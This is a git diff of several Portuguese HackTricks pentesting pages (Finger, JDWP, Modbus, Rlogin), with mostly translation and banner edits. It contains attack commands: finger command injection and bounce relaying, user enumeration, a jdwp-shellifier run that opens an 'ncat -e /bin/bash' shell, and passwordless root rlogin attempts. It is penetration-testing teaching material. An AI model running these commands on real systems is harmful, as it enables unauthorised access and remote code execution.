```text
path.properties
mx.log
@ -29,16 +30,17 @@ pg_hba.conf
jboss-service.xml
.namazurc
```
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Suporte ao HackTricks</summary>
Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
{% endhint %}

View file

@ -1,22 +1,23 @@
# 79 - Pentesting Finger
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## **Informações Básicas**
O programa/serviço **Finger** é utilizado para obter detalhes sobre usuários de computador. Tipicamente, as informações fornecidas incluem o **nome de login do usuário, nome completo**, e, em alguns casos, detalhes adicionais. Esses detalhes extras podem incluir a localização do escritório e número de telefone (se disponível), o horário em que o usuário fez login, o período de inatividade (tempo ocioso), a última vez que o usuário leu o e-mail, e o conteúdo dos arquivos de plano e projeto do usuário.
O programa/serviço **Finger** é utilizado para recuperar detalhes sobre usuários de computador. Normalmente, as informações fornecidas incluem o **nome de login do usuário, nome completo**, e, em alguns casos, detalhes adicionais. Esses detalhes extras podem incluir a localização do escritório e o número de telefone (se disponível), o horário em que o usuário fez login, o período de inatividade (tempo ocioso), a última vez que o e-mail foi lido pelo usuário e o conteúdo dos arquivos de plano e projeto do usuário.
**Porta padrão:** 79
```
@ -25,12 +26,12 @@ PORT STATE SERVICE
```
## **Enumeração**
### **Obtenção de Banner/Conexão Básica**
### **Captura de Banner/Conexão Básica**
```bash
nc -vn <IP> 79
echo "root" | nc -vn <IP> 79
```
### **Enumeração de Usuários**
### **Enumeração de usuários**
```bash
finger @<Victim> #List users
finger admin@<Victim> #Get info of user
@ -42,7 +43,7 @@ finger-user-enum.pl -U users.txt -t 10.0.0.1
finger-user-enum.pl -u root -t 10.0.0.1
finger-user-enum.pl -U users.txt -T ips.txt
```
#### **Nmap executa um script para usar scripts padrão**
#### **Nmap executa um script para fazer usando scripts padrão**
### Metasploit usa mais truques do que o Nmap
```
@ -52,28 +53,29 @@ use auxiliary/scanner/finger/finger_users
* `port:79 USER`
## Execução de Comando
## Execução de comandos
```bash
finger "|/bin/id@example.com"
finger "|/bin/ls -a /@example.com"
```
## Finger Bounce
[Use um sistema como um relé de finger](https://securiteam.com/exploits/2BUQ2RFQ0I/)
[Use um sistema como um relay de finger](https://securiteam.com/exploits/2BUQ2RFQ0I/)
```
finger user@host@victim
finger @internal@external
```
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Outras maneiras de apoiar o HackTricks:
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
{% endhint %}

View file

@ -1,86 +1,86 @@
# Pentesting JDWP - Protocolo de Depuração Java (Java Debug Wire Protocol)
# Pentesting JDWP - Java Debug Wire Protocol
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda a hackear a AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
{% endhint %}
## Exploração
## Exploiting
A exploração do JDWP depende da **falta de autenticação e criptografia do protocolo**. Geralmente é encontrado na **porta 8000**, mas outras portas são possíveis. A conexão inicial é feita enviando um "JDWP-Handshake" para a porta de destino. Se um serviço JDWP estiver ativo, ele responde com a mesma string, confirmando sua presença. Esse handshake atua como um método de identificação para identificar serviços JDWP na rede.
A exploração do JDWP depende da **falta de autenticação e criptografia do protocolo**. Geralmente é encontrado na **porta 8000**, mas outras portas são possíveis. A conexão inicial é feita enviando um "JDWP-Handshake" para a porta alvo. Se um serviço JDWP estiver ativo, ele responde com a mesma string, confirmando sua presença. Este handshake atua como um método de fingerprinting para identificar serviços JDWP na rede.
Em termos de identificação de processos, a busca pela string "jdwk" em processos Java pode indicar uma sessão JDWP ativa.
Em termos de identificação de processos, procurar pela string "jdwk" em processos Java pode indicar uma sessão JDWP ativa.
A ferramenta padrão é [jdwp-shellifier](https://github.com/hugsy/jdwp-shellifier). Você pode usá-lo com diferentes parâmetros:
A ferramenta principal é [jdwp-shellifier](https://github.com/hugsy/jdwp-shellifier). Você pode usá-la com diferentes parâmetros:
```bash
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 #Obtain internal data
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --cmd 'ncat -l -p 1337 -e /bin/bash' #Exec something
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --break-on 'java.lang.String.indexOf' --cmd 'ncat -l -p 1337 -e /bin/bash' #Uses java.lang.String.indexOf as breakpoint instead of java.net.ServerSocket.accept
```
Encontrei que o uso de `--break-on 'java.lang.String.indexOf'` torna o exploit mais **estável**. E se você tiver a oportunidade de fazer upload de um backdoor para o host e executá-lo em vez de executar um comando, o exploit será ainda mais estável.
Eu descobri que o uso de `--break-on 'java.lang.String.indexOf'` torna a exploração mais **estável**. E se você tiver a chance de fazer upload de um backdoor para o host e executá-lo em vez de executar um comando, a exploração será ainda mais estável.
## Mais detalhes
**Este é um resumo de [https://ioactive.com/hacking-java-debug-wire-protocol-or-how/](https://ioactive.com/hacking-java-debug-wire-protocol-or-how/)**. Consulte para mais detalhes.
**Este é um resumo de [https://ioactive.com/hacking-java-debug-wire-protocol-or-how/](https://ioactive.com/hacking-java-debug-wire-protocol-or-how/)**. Confira para mais detalhes.
1. **Visão Geral do JDWP**:
- É um protocolo binário de rede baseado em pacotes, principalmente síncrono.
- Falta autenticação e criptografia, tornando-o vulnerável quando exposto a redes hostis.
- Carece de autenticação e criptografia, tornando-o vulnerável quando exposto a redes hostis.
2. **Handshake do JDWP**:
- Um processo de handshake simples é usado para iniciar a comunicação. Uma string ASCII de 14 caracteres "JDWP-Handshake" é trocada entre o Depurador (cliente) e o Debuggee (servidor).
- Um simples processo de handshake é usado para iniciar a comunicação. Uma string ASCII de 14 caracteres “JDWP-Handshake” é trocada entre o Depurador (cliente) e o Depurado (servidor).
3. **Comunicação do JDWP**:
- As mensagens têm uma estrutura simples com campos como Comprimento, Id, Sinalizador e Conjunto de Comandos.
- Os valores do Conjunto de Comandos variam de 0x40 a 0x80, representando diferentes ações e eventos.
- As mensagens têm uma estrutura simples com campos como Comprimento, Id, Flag e CommandSet.
- Os valores do CommandSet variam de 0x40 a 0x80, representando diferentes ações e eventos.
4. **Exploração**:
- O JDWP permite carregar e invocar classes e bytecode arbitrários, representando riscos de segurança.
- O artigo detalha um processo de exploração em cinco etapas, envolvendo a obtenção de referências do Tempo de Execução do Java, definição de pontos de interrupção e invocação de métodos.
- O JDWP permite carregar e invocar classes e bytecode arbitrários, apresentando riscos de segurança.
- O artigo detalha um processo de exploração em cinco etapas, envolvendo a obtenção de referências do Java Runtime, definição de breakpoints e invocação de métodos.
5. **Exploração na Vida Real**:
- Apesar das potenciais proteções de firewall, os serviços JDWP são descobríveis e exploráveis em cenários do mundo real, conforme demonstrado por pesquisas em plataformas como ShodanHQ e GitHub.
- O script de exploit foi testado em várias versões do JDK e é independente de plataforma, oferecendo Execução Remota de Código (RCE) confiável.
- Apesar das potenciais proteções de firewall, os serviços JDWP são descobertos e exploráveis em cenários do mundo real, como demonstrado por buscas em plataformas como ShodanHQ e GitHub.
- O script de exploração foi testado contra várias versões do JDK e é independente de plataforma, oferecendo Execução Remota de Código (RCE) confiável.
6. **Implicações de Segurança**:
- A presença de serviços JDWP abertos na internet destaca a necessidade de revisões de segurança regulares, desativação de funcionalidades de depuração em produção e configurações adequadas de firewall.
### **Referências:**
* [[https://ioactive.com/hacking-java-debug-wire-protocol-or-how/](https://ioactive.com/hacking-java-debug-wire-protocol-or-how/)]
* [https://github.com/IOActive/jdwp-shellifier](https://github.com/IOActive/jdwp-shellifier)
* [http://docs.oracle.com/javase/7/docs/technotes/guides/jpda/architecture.html](http://docs.oracle.com/javase/7/docs/technotes/guides/jpda/architecture.html)
* http://www.secdev.org/projects/scapy(não mais ativo)
* http://www.secdev.org/projects/scapy(no longer active)
* [http://www.shodanhq.com/search?q=JDWP-HANDSHAKE](http://www.shodanhq.com/search?q=JDWP-HANDSHAKE)
* http://www.hsc-news.com/archives/2013/000109.html (não mais ativo)
* http://www.hsc-news.com/archives/2013/000109.html (no longer active)
* [http://packetstormsecurity.com/files/download/122525/JDWP-exploitation.txt](http://packetstormsecurity.com/files/download/122525/JDWP-exploitation.txt)
* https://github.com/search?q=-Xdebug+-Xrunjdwp\&type=Code\&ref=searchresults
* [http://docs.oracle.com/javase/6/docs/api/java/lang/Runtime.html](http://docs.oracle.com/javase/6/docs/api/java/lang/Runtime.html)
* [http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp-spec.html](http://docs.oracle.com)
* [http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html](http://docs.oracle.com/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html)
* [http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html](http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html)
* [http://nmap.org/nsedoc/scripts/jdwp-exec.html](http://nmap.org/nsedoc/scripts/jdwp-exec.html)
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Outras formas de apoiar o HackTricks:
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
{% endhint %}

View file

@ -1,21 +1,22 @@
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
{% endhint %}
# Informações Básicas
Em 1979, o **Protocolo Modbus** foi desenvolvido pela Modicon, servindo como uma estrutura de mensagens. Seu uso principal envolve facilitar a comunicação entre dispositivos inteligentes, operando sob um modelo mestre-escravo/cliente-servidor. Esse protocolo desempenha um papel crucial ao permitir que dispositivos troquem dados de forma eficiente.
Em 1979, o **Protocolo Modbus** foi desenvolvido pela Modicon, servindo como uma estrutura de mensagens. Seu uso principal envolve facilitar a comunicação entre dispositivos inteligentes, operando sob um modelo mestre-escravo/cliente-servidor. Este protocolo desempenha um papel crucial na habilitação da troca eficiente de dados entre dispositivos.
**Porta padrão:** 502
```
@ -28,16 +29,17 @@ nmap --script modbus-discover -p 502 <IP>
msf> use auxiliary/scanner/scada/modbusdetect
msf> use auxiliary/scanner/scada/modbus_findunitid
```
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
{% endhint %}

View file

@ -1,18 +1,19 @@
# 513 - Pentesting Rlogin
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Outras maneiras de apoiar o HackTricks:
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
@ -21,7 +22,7 @@ Outras maneiras de apoiar o HackTricks:
## Informações Básicas
No passado, o **rlogin** era amplamente utilizado para tarefas de administração remota. No entanto, devido a preocupações com sua segurança, ele foi em grande parte substituído por **slogin** e **ssh**. Esses métodos mais recentes oferecem segurança aprimorada para conexões remotas.
No passado, **rlogin** era amplamente utilizado para tarefas de administração remota. No entanto, devido a preocupações com sua segurança, foi amplamente substituído por **slogin** e **ssh**. Esses métodos mais novos oferecem segurança aprimorada para conexões remotas.
**Porta padrão:** 513
```
@ -33,11 +34,11 @@ PORT STATE SERVICE
# Install client
apt-get install rsh-client
```
Você pode usar o seguinte comando para tentar **acessar** um host remoto onde **nenhuma senha** é necessária para o acesso. Tente usar **root** como nome de usuário:
Você pode usar o seguinte comando para tentar **login** em um host remoto onde **nenhuma senha** é necessária para acesso. Tente usar **root** como nome de usuário:
```bash
rlogin <IP> -l <username>
```
### [Brute force](../generic-methodologies-and-resources/brute-force.md#rlogin)
### [Força bruta](../generic-methodologies-and-resources/brute-force.md#rlogin)
## Encontrar arquivos
```
@ -48,16 +49,17 @@ find / -name .rhosts
{% embed url="https://websec.nl/" %}
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
{% endhint %}

View file

@ -1,24 +1,25 @@
# 514 - Pentesting Rsh
{% hint style="success" %}
